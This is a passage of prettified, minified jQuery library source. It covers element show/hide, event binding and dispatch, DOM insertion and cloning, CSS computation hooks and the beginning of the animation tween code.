        return e ? e : (b = c.body.appendChild(c.createElement(d)),
        e = r.css(b, "display"),
        b.parentNode.removeChild(b),
        "none" === e && (e = "block"),
        ea[d] = e,
        e)
    }
    function ga(a, b) {
        for (var c, d, e = [], f = 0, g = a.length; g > f; f++)
            d = a[f],
            d.style && (c = d.style.display,
            b ? ("none" === c && (e[f] = V.get(d, "display") || null,
            e[f] || (d.style.display = "")),
            "" === d.style.display && ba(d) && (e[f] = fa(d))) : "none" !== c && (e[f] = "none",
            V.set(d, "display", c)));
        for (f = 0; g > f; f++)
            null != e[f] && (a[f].style.display = e[f]);
        return a
    }
    r.fn.extend({
        show: function() {
            return ga(this, !0)
        },
        hide: function() {
            return ga(this)
        },
        toggle: function(a) {
            return "boolean" == typeof a ? a ? this.show() : this.hide() : this.each(function() {
                ba(this) ? r(this).show() : r(this).hide()
            })
        }
    });
    var ha = /^(?:checkbox|radio)$/i
      , ia = /<([a-z][^\/\0>\x20\t\r\n\f]+)/i
      , ja = /^$|\/(?:java|ecma)script/i
      , ka = {
        option: [1, "<select multiple='multiple'>", "</select>"],
        thead: [1, "<table>", "</table>"],
        col: [2, "<table><colgroup>", "</colgroup></table>"],
        tr: [2, "<table><tbody>", "</tbody></table>"],
        td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
        _default: [0, "", ""]
    };
    ka.optgroup = ka.option,
    ka.tbody = ka.tfoot = ka.colgroup = ka.caption = ka.thead,
    ka.th = ka.td;
    function la(a, b) {
        var c = "undefined" != typeof a.getElementsByTagName ? a.getElementsByTagName(b || "*") : "undefined" != typeof a.querySelectorAll ? a.querySelectorAll(b || "*") : [];
        return void 0 === b || b && r.nodeName(a, b) ? r.merge([a], c) : c
    }
    function ma(a, b) {
        for (var c = 0, d = a.length; d > c; c++)
            V.set(a[c], "globalEval", !b || V.get(b[c], "globalEval"))
    }
    var na = /<|&#?\w+;/;
    function oa(a, b, c, d, e) {
        for (var f, g, h, i, j, k, l = b.createDocumentFragment(), m = [], n = 0, o = a.length; o > n; n++)
            if (f = a[n],
            f || 0 === f)
                if ("object" === r.type(f))
                    r.merge(m, f.nodeType ? [f] : f);
                else if (na.test(f)) {
                    g = g || l.appendChild(b.createElement("div")),
                    h = (ia.exec(f) || ["", ""])[1].toLowerCase(),
                    i = ka[h] || ka._default,
                    g.innerHTML = i[1] + r.htmlPrefilter(f) + i[2],
                    k = i[0];
                    while (k--)
                        g = g.lastChild;
                    r.merge(m, g.childNodes),
                    g = l.firstChild,
                    g.textContent = ""
                } else
                    m.push(b.createTextNode(f));
        l.textContent = "",
        n = 0;
        while (f = m[n++])
            if (d && r.inArray(f, d) > -1)
                e && e.push(f);
            else if (j = r.contains(f.ownerDocument, f),
            g = la(l.appendChild(f), "script"),
            j && ma(g),
            c) {
                k = 0;
                while (f = g[k++])
                    ja.test(f.type || "") && c.push(f)
            }
        return l
    }
    !function() {
        var a = d.createDocumentFragment()
          , b = a.appendChild(d.createElement("div"))
          , c = d.createElement("input");
        c.setAttribute("type", "radio"),
        c.setAttribute("checked", "checked"),
        c.setAttribute("name", "t"),
        b.appendChild(c),
        o.checkClone = b.cloneNode(!0).cloneNode(!0).lastChild.checked,
        b.innerHTML = "<textarea>x</textarea>",
        o.noCloneChecked = !!b.cloneNode(!0).lastChild.defaultValue
    }();
    var pa = d.documentElement
      , qa = /^key/
      , ra = /^(?:mouse|pointer|contextmenu|drag|drop)|click/
      , sa = /^([^.]*)(?:\.(.+)|)/;
    function ta() {
        return !0
    }
    function ua() {
        return !1
    }
    function va() {
        try {
            return d.activeElement
        } catch (a) {}
    }
    function wa(a, b, c, d, e, f) {
        var g, h;
        if ("object" == typeof b) {
            "string" != typeof c && (d = d || c,
            c = void 0);
            for (h in b)
                wa(a, h, c, d, b[h], f);
            return a
        }
        if (null == d && null == e ? (e = c,
        d = c = void 0) : null == e && ("string" == typeof c ? (e = d,
        d = void 0) : (e = d,
        d = c,
        c = void 0)),
        e === !1)
            e = ua;
        else if (!e)
            return a;
        return 1 === f && (g = e,
        e = function(a) {
            return r().off(a),
            g.apply(this, arguments)
        }
        ,
        e.guid = g.guid || (g.guid = r.guid++)),
        a.each(function() {
            r.event.add(this, b, e, d, c)
        })
    }
    r.event = {
        global: {},
        add: function(a, b, c, d, e) {
            var f, g, h, i, j, k, l, m, n, o, p, q = V.get(a);
            if (q) {
                c.handler && (f = c,
                c = f.handler,
                e = f.selector),
                e && r.find.matchesSelector(pa, e),
                c.guid || (c.guid = r.guid++),
                (i = q.events) || (i = q.events = {}),
                (g = q.handle) || (g = q.handle = function(b) {
                    return "undefined" != typeof r && r.event.triggered !== b.type ? r.event.dispatch.apply(a, arguments) : void 0
                }
                ),
                b = (b || "").match(K) || [""],
                j = b.length;
                while (j--)
                    h = sa.exec(b[j]) || [],
                    n = p = h[1],
                    o = (h[2] || "").split(".").sort(),
                    n && (l = r.event.special[n] || {},
                    n = (e ? l.delegateType : l.bindType) || n,
                    l = r.event.special[n] || {},
                    k = r.extend({
                        type: n,
                        origType: p,
                        data: d,
                        handler: c,
                        guid: c.guid,
                        selector: e,
                        needsContext: e && r.expr.match.needsContext.test(e),
                        namespace: o.join(".")
                    }, f),
                    (m = i[n]) || (m = i[n] = [],
                    m.delegateCount = 0,
                    l.setup && l.setup.call(a, d, o, g) !== !1 || a.addEventListener && a.addEventListener(n, g)),
                    l.add && (l.add.call(a, k),
                    k.handler.guid || (k.handler.guid = c.guid)),
                    e ? m.splice(m.delegateCount++, 0, k) : m.push(k),
                    r.event.global[n] = !0)
            }
        },
        remove: function(a, b, c, d, e) {
            var f, g, h, i, j, k, l, m, n, o, p, q = V.hasData(a) && V.get(a);
            if (q && (i = q.events)) {
                b = (b || "").match(K) || [""],
                j = b.length;
                while (j--)
                    if (h = sa.exec(b[j]) || [],
                    n = p = h[1],
                    o = (h[2] || "").split(".").sort(),
                    n) {
                        l = r.event.special[n] || {},
                        n = (d ? l.delegateType : l.bindType) || n,
                        m = i[n] || [],
                        h = h[2] && new RegExp("(^|\\.)" + o.join("\\.(?:.*\\.|)") + "(\\.|$)"),
                        g = f = m.length;
                        while (f--)
                            k = m[f],
                            !e && p !== k.origType || c && c.guid !== k.guid || h && !h.test(k.namespace) || d && d !== k.selector && ("**" !== d || !k.selector) || (m.splice(f, 1),
                            k.selector && m.delegateCount--,
                            l.remove && l.remove.call(a, k));
                        g && !m.length && (l.teardown && l.teardown.call(a, o, q.handle) !== !1 || r.removeEvent(a, n, q.handle),
                        delete i[n])
                    } else
                        for (n in i)
                            r.event.remove(a, n + b[j], c, d, !0);
                r.isEmptyObject(i) && V.remove(a, "handle events")
            }
        },
        dispatch: function(a) {
            var b = r.event.fix(a), c, d, e, f, g, h, i = new Array(arguments.length), j = (V.get(this, "events") || {})[b.type] || [], k = r.event.special[b.type] || {};
            for (i[0] = b,
            c = 1; c < arguments.length; c++)
                i[c] = arguments[c];
            if (b.delegateTarget = this,
            !k.preDispatch || k.preDispatch.call(this, b) !== !1) {
                h = r.event.handlers.call(this, b, j),
                c = 0;
                while ((f = h[c++]) && !b.isPropagationStopped()) {
                    b.currentTarget = f.elem,
                    d = 0;
                    while ((g = f.handlers[d++]) && !b.isImmediatePropagationStopped())
                        b.rnamespace && !b.rnamespace.test(g.namespace) || (b.handleObj = g,
                        b.data = g.data,
                        e = ((r.event.special[g.origType] || {}).handle || g.handler).apply(f.elem, i),
                        void 0 !== e && (b.result = e) === !1 && (b.preventDefault(),
                        b.stopPropagation()))
                }
                return k.postDispatch && k.postDispatch.call(this, b),
                b.result
            }
        },
        handlers: function(a, b) {
            var c, d, e, f, g = [], h = b.delegateCount, i = a.target;
            if (h && i.nodeType && ("click" !== a.type || isNaN(a.button) || a.button < 1))
                for (; i !== this; i = i.parentNode || this)
                    if (1 === i.nodeType && (i.disabled !== !0 || "click" !== a.type)) {
                        for (d = [],
                        c = 0; h > c; c++)
                            f = b[c],
                            e = f.selector + " ",
                            void 0 === d[e] && (d[e] = f.needsContext ? r(e, this).index(i) > -1 : r.find(e, this, null, [i]).length),
                            d[e] && d.push(f);
                        d.length && g.push({
                            elem: i,
                            handlers: d
                        })
                    }
            return h < b.length && g.push({
                elem: this,
                handlers: b.slice(h)
            }),
            g
        },
        addProp: function(a, b) {
            Object.defineProperty(r.Event.prototype, a, {
                enumerable: !0,
                configurable: !0,
                get: r.isFunction(b) ? function() {
                    return this.originalEvent ? b(this.originalEvent) : void 0
                }
                : function() {
                    return this.originalEvent ? this.originalEvent[a] : void 0
                }
                ,
                set: function(b) {
                    Object.defineProperty(this, a, {
                        enumerable: !0,
                        configurable: !0,
                        writable: !0,
                        value: b
                    })
                }
            })
        },
        fix: function(a) {
            return a[r.expando] ? a : new r.Event(a)
        },
        special: {
            load: {
                noBubble: !0
            },
            focus: {
                trigger: function() {
                    return this !== va() && this.focus ? (this.focus(),
                    !1) : void 0
                },
                delegateType: "focusin"
            },
            blur: {
                trigger: function() {
                    return this === va() && this.blur ? (this.blur(),
                    !1) : void 0
                },
                delegateType: "focusout"
            },
            click: {
                trigger: function() {
                    return "checkbox" === this.type && this.click && r.nodeName(this, "input") ? (this.click(),
                    !1) : void 0
                },
                _default: function(a) {
                    return r.nodeName(a.target, "a")
                }
            },
            beforeunload: {
                postDispatch: function(a) {
                    void 0 !== a.result && a.originalEvent && (a.originalEvent.returnValue = a.result)
                }
            }
        }
    },
    r.removeEvent = function(a, b, c) {
        a.removeEventListener && a.removeEventListener(b, c)
    }
    ,
    r.Event = function(a, b) {
        return this instanceof r.Event ? (a && a.type ? (this.originalEvent = a,
        this.type = a.type,
        this.isDefaultPrevented = a.defaultPrevented || void 0 === a.defaultPrevented && a.returnValue === !1 ? ta : ua,
        this.target = a.target && 3 === a.target.nodeType ? a.target.parentNode : a.target,
        this.currentTarget = a.currentTarget,
        this.relatedTarget = a.relatedTarget) : this.type = a,
        b && r.extend(this, b),
        this.timeStamp = a && a.timeStamp || r.now(),
        void (this[r.expando] = !0)) : new r.Event(a,b)
    }
    ,
    r.Event.prototype = {
        constructor: r.Event,
        isDefaultPrevented: ua,
        isPropagationStopped: ua,
        isImmediatePropagationStopped: ua,
        isSimulated: !1,
        preventDefault: function() {
            var a = this.originalEvent;
            this.isDefaultPrevented = ta,
            a && !this.isSimulated && a.preventDefault()
        },
        stopPropagation: function() {
            var a = this.originalEvent;
            this.isPropagationStopped = ta,
            a && !this.isSimulated && a.stopPropagation()
        },
        stopImmediatePropagation: function() {
            var a = this.originalEvent;
            this.isImmediatePropagationStopped = ta,
            a && !this.isSimulated && a.stopImmediatePropagation(),
            this.stopPropagation()
        }
    },
    r.each({
        altKey: !0,
        bubbles: !0,
        cancelable: !0,
        changedTouches: !0,
        ctrlKey: !0,
        detail: !0,
        eventPhase: !0,
        metaKey: !0,
        pageX: !0,
        pageY: !0,
        shiftKey: !0,
        view: !0,
        char: !0,
        charCode: !0,
        key: !0,
        keyCode: !0,
        button: !0,
        buttons: !0,
        clientX: !0,
        clientY: !0,
        offsetX: !0,
        offsetY: !0,
        pointerId: !0,
        pointerType: !0,
        screenX: !0,
        screenY: !0,
        targetTouches: !0,
        toElement: !0,
        touches: !0,
        which: function(a) {
            var b = a.button;
            return null == a.which && qa.test(a.type) ? null != a.charCode ? a.charCode : a.keyCode : !a.which && void 0 !== b && ra.test(a.type) ? 1 & b ? 1 : 2 & b ? 3 : 4 & b ? 2 : 0 : a.which
        }
    }, r.event.addProp),
    r.each({
        mouseenter: "mouseover",
        mouseleave: "mouseout",
        pointerenter: "pointerover",
        pointerleave: "pointerout"
    }, function(a, b) {
        r.event.special[a] = {
            delegateType: b,
            bindType: b,
            handle: function(a) {
                var c, d = this, e = a.relatedTarget, f = a.handleObj;
                return e && (e === d || r.contains(d, e)) || (a.type = f.origType,
                c = f.handler.apply(this, arguments),
                a.type = b),
                c
            }
        }
    }),
    r.fn.extend({
        on: function(a, b, c, d) {
            return wa(this, a, b, c, d)
        },
        one: function(a, b, c, d) {
            return wa(this, a, b, c, d, 1)
        },
        off: function(a, b, c) {
            var d, e;
            if (a && a.preventDefault && a.handleObj)
                return d = a.handleObj,
                r(a.delegateTarget).off(d.namespace ? d.origType + "." + d.namespace : d.origType, d.selector, d.handler),
                this;
            if ("object" == typeof a) {
                for (e in a)
                    this.off(e, b, a[e]);
                return this
            }
            return b !== !1 && "function" != typeof b || (c = b,
            b = void 0),
            c === !1 && (c = ua),
            this.each(function() {
                r.event.remove(this, a, c, b)
            })
        }
    });
    var xa = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi
      , ya = /<script|<style|<link/i
      , za = /checked\s*(?:[^=]|=\s*.checked.)/i
      , Aa = /^true\/(.*)/
      , Ba = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;
    function Ca(a, b) {
        return r.nodeName(a, "table") && r.nodeName(11 !== b.nodeType ? b : b.firstChild, "tr") ? a.getElementsByTagName("tbody")[0] || a : a
    }
    function Da(a) {
        return a.type = (null !== a.getAttribute("type")) + "/" + a.type,
        a
    }
    function Ea(a) {
        var b = Aa.exec(a.type);
        return b ? a.type = b[1] : a.removeAttribute("type"),
        a
    }
    function Fa(a, b) {
        var c, d, e, f, g, h, i, j;
        if (1 === b.nodeType) {
            if (V.hasData(a) && (f = V.access(a),
            g = V.set(b, f),
            j = f.events)) {
                delete g.handle,
                g.events = {};
                for (e in j)
                    for (c = 0,
                    d = j[e].length; d > c; c++)
                        r.event.add(b, e, j[e][c])
            }
            W.hasData(a) && (h = W.access(a),
            i = r.extend({}, h),
            W.set(b, i))
        }
    }
    function Ga(a, b) {
        var c = b.nodeName.toLowerCase();
        "input" === c && ha.test(a.type) ? b.checked = a.checked : "input" !== c && "textarea" !== c || (b.defaultValue = a.defaultValue)
    }
    function Ha(a, b, c, d) {
        b = g.apply([], b);
        var e, f, h, i, j, k, l = 0, m = a.length, n = m - 1, q = b[0], s = r.isFunction(q);
        if (s || m > 1 && "string" == typeof q && !o.checkClone && za.test(q))
            return a.each(function(e) {
                var f = a.eq(e);
                s && (b[0] = q.call(this, e, f.html())),
                Ha(f, b, c, d)
            });
        if (m && (e = oa(b, a[0].ownerDocument, !1, a, d),
        f = e.firstChild,
        1 === e.childNodes.length && (e = f),
        f || d)) {
            for (h = r.map(la(e, "script"), Da),
            i = h.length; m > l; l++)
                j = e,
                l !== n && (j = r.clone(j, !0, !0),
                i && r.merge(h, la(j, "script"))),
                c.call(a[l], j, l);
            if (i)
                for (k = h[h.length - 1].ownerDocument,
                r.map(h, Ea),
                l = 0; i > l; l++)
                    j = h[l],
                    ja.test(j.type || "") && !V.access(j, "globalEval") && r.contains(k, j) && (j.src ? r._evalUrl && r._evalUrl(j.src) : p(j.textContent.replace(Ba, ""), k))
        }
        return a
    }
    function Ia(a, b, c) {
        for (var d, e = b ? r.filter(b, a) : a, f = 0; null != (d = e[f]); f++)
            c || 1 !== d.nodeType || r.cleanData(la(d)),
            d.parentNode && (c && r.contains(d.ownerDocument, d) && ma(la(d, "script")),
            d.parentNode.removeChild(d));
        return a
    }
    r.extend({
        htmlPrefilter: function(a) {
            return a.replace(xa, "<$1></$2>")
        },
        clone: function(a, b, c) {
            var d, e, f, g, h = a.cloneNode(!0), i = r.contains(a.ownerDocument, a);
            if (!(o.noCloneChecked || 1 !== a.nodeType && 11 !== a.nodeType || r.isXMLDoc(a)))
                for (g = la(h),
                f = la(a),
                d = 0,
                e = f.length; e > d; d++)
                    Ga(f[d], g[d]);
            if (b)
                if (c)
                    for (f = f || la(a),
                    g = g || la(h),
                    d = 0,
                    e = f.length; e > d; d++)
                        Fa(f[d], g[d]);
                else
                    Fa(a, h);
            return g = la(h, "script"),
            g.length > 0 && ma(g, !i && la(a, "script")),
            h
        },
        cleanData: function(a) {
            for (var b, c, d, e = r.event.special, f = 0; void 0 !== (c = a[f]); f++)
                if (T(c)) {
                    if (b = c[V.expando]) {
                        if (b.events)
                            for (d in b.events)
                                e[d] ? r.event.remove(c, d) : r.removeEvent(c, d, b.handle);
                        c[V.expando] = void 0
                    }
                    c[W.expando] && (c[W.expando] = void 0)
                }
        }
    }),
    r.fn.extend({
        detach: function(a) {
            return Ia(this, a, !0)
        },
        remove: function(a) {
            return Ia(this, a)
        },
        text: function(a) {
            return S(this, function(a) {
                return void 0 === a ? r.text(this) : this.empty().each(function() {
                    1 !== this.nodeType && 11 !== this.nodeType && 9 !== this.nodeType || (this.textContent = a)
                })
            }, null, a, arguments.length)
        },
        append: function() {
            return Ha(this, arguments, function(a) {
                if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
                    var b = Ca(this, a);
                    b.appendChild(a)
                }
            })
        },
        prepend: function() {
            return Ha(this, arguments, function(a) {
                if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) {
                    var b = Ca(this, a);
                    b.insertBefore(a, b.firstChild)
                }
            })
        },
        before: function() {
            return Ha(this, arguments, function(a) {
                this.parentNode && this.parentNode.insertBefore(a, this)
            })
        },
        after: function() {
            return Ha(this, arguments, function(a) {
                this.parentNode && this.parentNode.insertBefore(a, this.nextSibling)
            })
        },
        empty: function() {
            for (var a, b = 0; null != (a = this[b]); b++)
                1 === a.nodeType && (r.cleanData(la(a, !1)),
                a.textContent = "");
            return this
        },
        clone: function(a, b) {
            return a = null == a ? !1 : a,
            b = null == b ? a : b,
            this.map(function() {
                return r.clone(this, a, b)
            })
        },
        html: function(a) {
            return S(this, function(a) {
                var b = this[0] || {}
                  , c = 0
                  , d = this.length;
                if (void 0 === a && 1 === b.nodeType)
                    return b.innerHTML;
                if ("string" == typeof a && !ya.test(a) && !ka[(ia.exec(a) || ["", ""])[1].toLowerCase()]) {
                    a = r.htmlPrefilter(a);
                    try {
                        for (; d > c; c++)
                            b = this[c] || {},
                            1 === b.nodeType && (r.cleanData(la(b, !1)),
                            b.innerHTML = a);
                        b = 0
                    } catch (e) {}
                }
                b && this.empty().append(a)
            }, null, a, arguments.length)
        },
        replaceWith: function() {
            var a = [];
            return Ha(this, arguments, function(b) {
                var c = this.parentNode;
                r.inArray(this, a) < 0 && (r.cleanData(la(this)),
                c && c.replaceChild(b, this))
            }, a)
        }
    }),
    r.each({
        appendTo: "append",
        prependTo: "prepend",
        insertBefore: "before",
        insertAfter: "after",
        replaceAll: "replaceWith"
    }, function(a, b) {
        r.fn[a] = function(a) {
            for (var c, d = [], e = r(a), f = e.length - 1, g = 0; f >= g; g++)
                c = g === f ? this : this.clone(!0),
                r(e[g])[b](c),
                h.apply(d, c.get());
            return this.pushStack(d)
        }
    });
    var Ja = /^margin/
      , Ka = new RegExp("^(" + $ + ")(?!px)[a-z%]+$","i")
      , La = function(b) {
        var c = b.ownerDocument.defaultView;
        return c && c.opener || (c = a),
        c.getComputedStyle(b)
    };
    !function() {
        function b() {
            if (i) {
                i.style.cssText = "box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",
                i.innerHTML = "",
                pa.appendChild(h);
                var b = a.getComputedStyle(i);
                c = "1%" !== b.top,
                g = "2px" === b.marginLeft,
                e = "4px" === b.width,
                i.style.marginRight = "50%",
                f = "4px" === b.marginRight,
                pa.removeChild(h),
                i = null
            }
        }
        var c, e, f, g, h = d.createElement("div"), i = d.createElement("div");
        i.style && (i.style.backgroundClip = "content-box",
        i.cloneNode(!0).style.backgroundClip = "",
        o.clearCloneStyle = "content-box" === i.style.backgroundClip,
        h.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",
        h.appendChild(i),
        r.extend(o, {
            pixelPosition: function() {
                return b(),
                c
            },
            boxSizingReliable: function() {
                return b(),
                e
            },
            pixelMarginRight: function() {
                return b(),
                f
            },
            reliableMarginLeft: function() {
                return b(),
                g
            }
        }))
    }();
    function Ma(a, b, c) {
        var d, e, f, g, h = a.style;
        return c = c || La(a),
        c && (g = c.getPropertyValue(b) || c[b],
        "" !== g || r.contains(a.ownerDocument, a) || (g = r.style(a, b)),
        !o.pixelMarginRight() && Ka.test(g) && Ja.test(b) && (d = h.width,
        e = h.minWidth,
        f = h.maxWidth,
        h.minWidth = h.maxWidth = h.width = g,
        g = c.width,
        h.width = d,
        h.minWidth = e,
        h.maxWidth = f)),
        void 0 !== g ? g + "" : g
    }
    function Na(a, b) {
        return {
            get: function() {
                return a() ? void delete this.get : (this.get = b).apply(this, arguments)
            }
        }
    }
    var Oa = /^(none|table(?!-c[ea]).+)/
      , Pa = {
        position: "absolute",
        visibility: "hidden",
        display: "block"
    }
      , Qa = {
        letterSpacing: "0",
        fontWeight: "400"
    }
      , Ra = ["Webkit", "Moz", "ms"]
      , Sa = d.createElement("div").style;
    function Ta(a) {
        if (a in Sa)
            return a;
        var b = a[0].toUpperCase() + a.slice(1)
          , c = Ra.length;
        while (c--)
            if (a = Ra[c] + b,
            a in Sa)
                return a
    }
    function Ua(a, b, c) {
        var d = _.exec(b);
        return d ? Math.max(0, d[2] - (c || 0)) + (d[3] || "px") : b
    }
    function Va(a, b, c, d, e) {
        for (var f = c === (d ? "border" : "content") ? 4 : "width" === b ? 1 : 0, g = 0; 4 > f; f += 2)
            "margin" === c && (g += r.css(a, c + aa[f], !0, e)),
            d ? ("content" === c && (g -= r.css(a, "padding" + aa[f], !0, e)),
            "margin" !== c && (g -= r.css(a, "border" + aa[f] + "Width", !0, e))) : (g += r.css(a, "padding" + aa[f], !0, e),
            "padding" !== c && (g += r.css(a, "border" + aa[f] + "Width", !0, e)));
        return g
    }
    function Wa(a, b, c) {
        var d, e = !0, f = La(a), g = "border-box" === r.css(a, "boxSizing", !1, f);
        if (a.getClientRects().length && (d = a.getBoundingClientRect()[b]),
        0 >= d || null == d) {
            if (d = Ma(a, b, f),
            (0 > d || null == d) && (d = a.style[b]),
            Ka.test(d))
                return d;
            e = g && (o.boxSizingReliable() || d === a.style[b]),
            d = parseFloat(d) || 0
        }
        return d + Va(a, b, c || (g ? "border" : "content"), e, f) + "px"
    }
    r.extend({
        cssHooks: {
            opacity: {
                get: function(a, b) {
                    if (b) {
                        var c = Ma(a, "opacity");
                        return "" === c ? "1" : c
                    }
                }
            }
        },
        cssNumber: {
            animationIterationCount: !0,
            columnCount: !0,
            fillOpacity: !0,
            flexGrow: !0,
            flexShrink: !0,
            fontWeight: !0,
            lineHeight: !0,
            opacity: !0,
            order: !0,
            orphans: !0,
            widows: !0,
            zIndex: !0,
            zoom: !0
        },
        cssProps: {
            float: "cssFloat"
        },
        style: function(a, b, c, d) {
            if (a && 3 !== a.nodeType && 8 !== a.nodeType && a.style) {
                var e, f, g, h = r.camelCase(b), i = a.style;
                return b = r.cssProps[h] || (r.cssProps[h] = Ta(h) || h),
                g = r.cssHooks[b] || r.cssHooks[h],
                void 0 === c ? g && "get"in g && void 0 !== (e = g.get(a, !1, d)) ? e : i[b] : (f = typeof c,
                "string" === f && (e = _.exec(c)) && e[1] && (c = da(a, b, e),
                f = "number"),
                null != c && c === c && ("number" === f && (c += e && e[3] || (r.cssNumber[h] ? "" : "px")),
                o.clearCloneStyle || "" !== c || 0 !== b.indexOf("background") || (i[b] = "inherit"),
                g && "set"in g && void 0 === (c = g.set(a, c, d)) || (i[b] = c)),
                void 0)
            }
        },
        css: function(a, b, c, d) {
            var e, f, g, h = r.camelCase(b);
            return b = r.cssProps[h] || (r.cssProps[h] = Ta(h) || h),
            g = r.cssHooks[b] || r.cssHooks[h],
            g && "get"in g && (e = g.get(a, !0, c)),
            void 0 === e && (e = Ma(a, b, d)),
            "normal" === e && b in Qa && (e = Qa[b]),
            "" === c || c ? (f = parseFloat(e),
            c === !0 || isFinite(f) ? f || 0 : e) : e
        }
    }),
    r.each(["height", "width"], function(a, b) {
        r.cssHooks[b] = {
            get: function(a, c, d) {
                return c ? !Oa.test(r.css(a, "display")) || a.getClientRects().length && a.getBoundingClientRect().width ? Wa(a, b, d) : ca(a, Pa, function() {
                    return Wa(a, b, d)
                }) : void 0
            },
            set: function(a, c, d) {
                var e, f = d && La(a), g = d && Va(a, b, d, "border-box" === r.css(a, "boxSizing", !1, f), f);
                return g && (e = _.exec(c)) && "px" !== (e[3] || "px") && (a.style[b] = c,
                c = r.css(a, b)),
                Ua(a, c, g)
            }
        }
    }),
    r.cssHooks.marginLeft = Na(o.reliableMarginLeft, function(a, b) {
        return b ? (parseFloat(Ma(a, "marginLeft")) || a.getBoundingClientRect().left - ca(a, {
            marginLeft: 0
        }, function() {
            return a.getBoundingClientRect().left
        })) + "px" : void 0
    }),
    r.each({
        margin: "",
        padding: "",
        border: "Width"
    }, function(a, b) {
        r.cssHooks[a + b] = {
            expand: function(c) {
                for (var d = 0, e = {}, f = "string" == typeof c ? c.split(" ") : [c]; 4 > d; d++)
                    e[a + aa[d] + b] = f[d] || f[d - 2] || f[0];
                return e
            }
        },
        Ja.test(a) || (r.cssHooks[a + b].set = Ua)
    }),
    r.fn.extend({
        css: function(a, b) {
            return S(this, function(a, b, c) {
                var d, e, f = {}, g = 0;
                if (r.isArray(b)) {
                    for (d = La(a),
                    e = b.length; e > g; g++)
                        f[b[g]] = r.css(a, b[g], !1, d);
                    return f
                }
                return void 0 !== c ? r.style(a, b, c) : r.css(a, b)
            }, a, b, arguments.length > 1)
        }
    });
    function Xa(a, b, c, d, e) {
        return new Xa.prototype.init(a,b,c,d,e)
    }
    r.Tween = Xa,
    Xa.prototype = {
        constructor: Xa,
        init: function(a, b, c, d, e, f) {
            this.elem = a,
            this.prop = c,
            this.easing = e || r.easing._default,
            this.options = b,
            this.start = this.now = this.cur(),
            this.end = d,
            this.unit = f || (r.cssNumber[c] ? "" : "px")
        },
        cur: function() {
            var a = Xa.propHooks[this.prop];
            return a && a.get ? a.get(this) : Xa.propHooks._default.get(this)
        },
        run: function(a) {
            var b, c = Xa.propHooks[this.prop];
            return this.options.duration ? this.pos = b = r.easing[this.easing](a, this.options.duration * a, 0, 1, this.options.duration) : this.pos = b = a,
            this.now = (this.end - this.start) * b + this.start,
            this.options.step && this.options.step.call(this.elem, this.now, this),
            c && c.set ? c.set(this) : Xa.propHooks._default.set(this),
            this
        }
    },
    Xa.prototype.init.prototype = Xa.prototype,
    Xa.propHooks = {
        _default: {
            get: function(a) {
                var b;
                return 1 !== a.elem.nodeType || null != a.elem[a.prop] && null == a.elem.style[a.prop] ? a.elem[a.prop] : (b = r.css(a.elem, a.prop, ""),
                b && "auto" !== b ? b : 0)
            },
            set: function(a) {
                r.fx.step[a.prop] ? r.fx.step[a.prop](a) : 1 !== a.elem.nodeType || null == a.elem.style[r.cssProps[a.prop]] && !r.cssHooks[a.prop] ? a.elem[a.prop] = a.now : r.style(a.elem, a.prop, a.now + a.unit)
            }
        }
    },
    Xa.propHooks.scrollTop = Xa.propHooks.scrollLeft = {
        set: function(a) {
            a.elem.nodeType && a.elem.parentNode && (a.elem[a.prop] = a.now)
        }
    },
    r.easing = {
        linear: function(a) {
            return a
        },
        swing: function(a) {
            return .5 - Math.cos(a * Math.PI) / 2
        },
        _default: "swing"
    },
    r.fx = Xa.prototype.init,
    r.fx.step = {};
    var Ya, Za, $a = /^(?:toggle|show|hide)$/, _a = /queueHooks$/;
    function ab() {
        Za && (a.requestAnimationFrame(ab),
        r.fx.tick())
    }
    function bb() {
        return a.setTimeout(function() {
            Ya = void 0
        }),
        Ya = r.now()
    }
    function cb(a, b) {
        var c, d = 0, e = {
            height: a
        };
        for (b = b ? 1 : 0; 4 > d; d += 2 - b)
            c = aa[d],
            e["margin" + c] = e["padding" + c] = a;
        return b && (e.opacity = e.width = a),
        e
    }
    function db(a, b, c) {
        for (var d, e = (gb.tweeners[b] || []).concat(gb.tweeners["*"]), f = 0, g = e.length; g > f; f++)
            if (d = e[f].call(c, b, a))
                return d
    }
    function eb(a, b, c) {
        var d, e, f, g, h, i, j, k, l = "width"in b || "height"in b, m = this, n = {}, o = a.style, p = a.nodeType && ba(a), q = V.get(a, "fxshow");
        c.queue || (g = r._queueHooks(a, "fx"),
        null == g.unqueued && (g.unqueued = 0,
        h = g.empty.fire,
        g.empty.fire = function() {
            g.unqueued || h()
        }
        ),
        g.unqueued++,
        m.always(function() {
            m.always(function() {
                g.unqueued--,
                r.queue(a, "fx").length || g.empty.fire()
            })
        }));
        for (d in b)
            if (e = b[d],
            $a.test(e)) {
                if (delete b[d],
                f = f || "toggle" === e,
                e === (p ? "hide" : "show")) {
                    if ("show" !== e || !q || void 0 === q[d])
                        continue;
                    p = !0
                }
                n[d] = q && q[d] || r.style(a, d)
            }
        if (i = !r.isEmptyObject(b),
        i || !r.isEmptyObject(n)) {
            l && 1 === a.nodeType && (c.overflow = [o.overflow, o.overflowX, o.overflowY],
            j = q && q.display,
            null == j && (j = V.get(a, "display")),
            k = r.css(a, "display"),
            "none" === k && (j ? k = j : (ga([a], !0),
            j = a.style.display || j,
            k = r.css(a, "display"),
            ga([a]))),
            ("inline" === k || "inline-block" === k && null != j) && "none" === r.css(a, "float") && (i || (m.done(function() {
                o.display = j
            }),
            null == j && (k = o.display,
            j = "none" === k ? "" : k)),
            o.display = "inline-block")),
            c.overflow && (o.overflow = "hidden",
            m.always(function() {
                o.overflow = c.overflow[0],
                o.overflowX = c.overflow[1],
                o.overflowY = c.overflow[2]
            })),
            i = !1;
            for (d in n)
                i || (q ? "hidden"in q && (p = q.hidden) : q = V.access(a, "fxshow", {
                    display: j
                }),
                f && (q.hidden = !p),
                p && ga([a], !0),
                m.done(function() {
                    p || ga([a]),
                    V.remove(a, "fxshow");
                    for (d in n)
                        r.style(a, d, n[d])
                })),
                i = db(p ? q[d] : 0, d, m),
                d in q || (q[d] = i.start,
                p && (i.end = i.start,
